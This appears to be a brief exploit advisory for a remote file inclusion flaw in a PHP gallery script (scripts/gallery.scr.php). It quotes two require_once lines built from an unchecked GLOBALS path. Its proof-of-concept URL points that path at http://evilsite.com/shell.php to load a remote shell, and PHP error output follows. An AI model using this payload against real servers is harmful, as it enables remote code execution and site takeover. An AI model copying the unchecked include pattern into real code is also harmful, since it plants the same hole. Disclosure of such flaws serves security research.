Vulnerable Code:
+ scripts/gallery.scr.php, line(s) 11-12:
+ -> 11: require_once "{$GLOBALS['PTH']['func']}gallery.func.php";
+ -> 12: require_once "{$GLOBALS['PTH']['classes']}gallery.class.php";

+ Proof Of Concept:

http://[target]/[path]/scripts/gallery.scr.php?GLOBALS[PTH][func]=http://evilsite.com/shell.php?

Warning: main(gallery.func.php) [function.main]: failed to open stream: No such file or directory in Z:\home\irokez\www\scripts\gallery.scr.php on line 11

Fatal error: main() [function.require]: Failed opening required 'gallery.func.php' (include_path='.;/usr/local/php/PEAR') in Z:\home\irokez\www\scripts\gallery.scr.php on line 11